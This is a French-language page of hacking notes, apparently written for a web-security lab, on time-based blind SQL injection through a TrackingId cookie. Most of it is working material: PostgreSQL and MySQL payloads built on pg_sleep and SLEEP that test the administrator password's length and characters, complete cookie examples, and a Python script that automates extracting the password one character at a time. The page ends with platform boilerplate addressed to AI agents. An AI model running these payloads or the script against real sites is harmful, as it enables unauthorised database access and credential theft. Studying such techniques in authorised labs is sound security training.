> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# Exfiltration de données par injection SQL aveugle basée sur le temps

### Injection SQL aveugle avec délais temporels et récupération d'informations

La valeur du `TrackingId` cookie est interpolé dans une requête SQL synchrone. Une interruption conditionnelle (`SLEEP` / `pg_sleep`) est déclenchée lorsqu'une assertion est vraie ; l'information est déduite en mesurant le temps de réponse (c.-à-d. délai si la condition est vraie).

#### PostgreSQL

* Pause simple de 5 s :

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* Conditionnelle (tester si `username='administrator'` → 5 s) :

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Tester la longueur du mot de passe = 20 :

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Tester le caractère à `pos` position :

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Note Postgres : parfois le `FROM` la position doit être ajustée en fonction de la requête injectée ; les exemples ci-dessus sont des modèles courants.

#### MySQL

* Pause simple de 5 s :

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* Conditionnelle (substring) :

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* Tester la longueur = N :

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condition, sleep(sec), 0)` est la forme standard ; utilisez `SUBSTRING(...)` et `LENGTH(...)`.

***

### Exemples concrets (cookie complet)

Supposons `BASE=abc123` et la session `'SESSION=XYZ'`.

* Postgres — test du caractère pos=1 == 'a' :

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — test du caractère pos=1 == 'a' :

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### Script Python automatisé (corrigé, adaptable à Postgres et MySQL)

Ce script mesure la latence et reconstruit caractère par caractère. Paramètres : `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` ou `'mysql'`), alphabet, délai attendu (`SLEEP_SEC`) et `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
Extracteur SQLi aveugle basé sur le temps (Postgres / MySQL)
Utilisation : configurez TARGET, BASE_TRACKING, SESSION, DBMS, puis exécutez.
Exécutez UNIQUEMENT dans un environnement autorisé.
"""

import requests, time, string, sys, signal

# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # partie légitime de TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" ou "mysql"
SLEEP_SEC = 5                     # délai côté serveur déclenché
THRESHOLD = SLEEP_SEC - 1.0       # si la réponse > seuil => la condition est vraie
ALPHABET = string.ascii_lowercase + string.digits  # à ajuster selon les besoins
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # condition : substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("DBMS non pris en charge")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] requête échouée, réessayez ou vérifiez la connexion")
                sys.exit(1)
            # débogage : print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] Aucun caractère trouvé à la position {pos} -> fin probable")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nInterrompu. Fermeture.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] Démarrage de l'extraction (basée sur le temps)")
    recovered = extract_password()
    print(f"/n[=] Mot de passe récupéré (partiel/estimé) : {recovered}/n")
```

* Pour **Postgres**, `DBMS="postgres"`.
* Pour **MySQL**, `DBMS="mysql"`.
* Réduisez `ALPHABET` Si vous connaissez le jeu de caractères (gain énorme).
* Ajuste `MAX_LEN` / `SLEEP_SEC` en fonction de la cible.
* Gestion du backoff de récupération/exponentiel si nécessaire.

<figure><img src="/files/0a908f04bf4959bc66fd5ba5fcc99b9eda324631" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
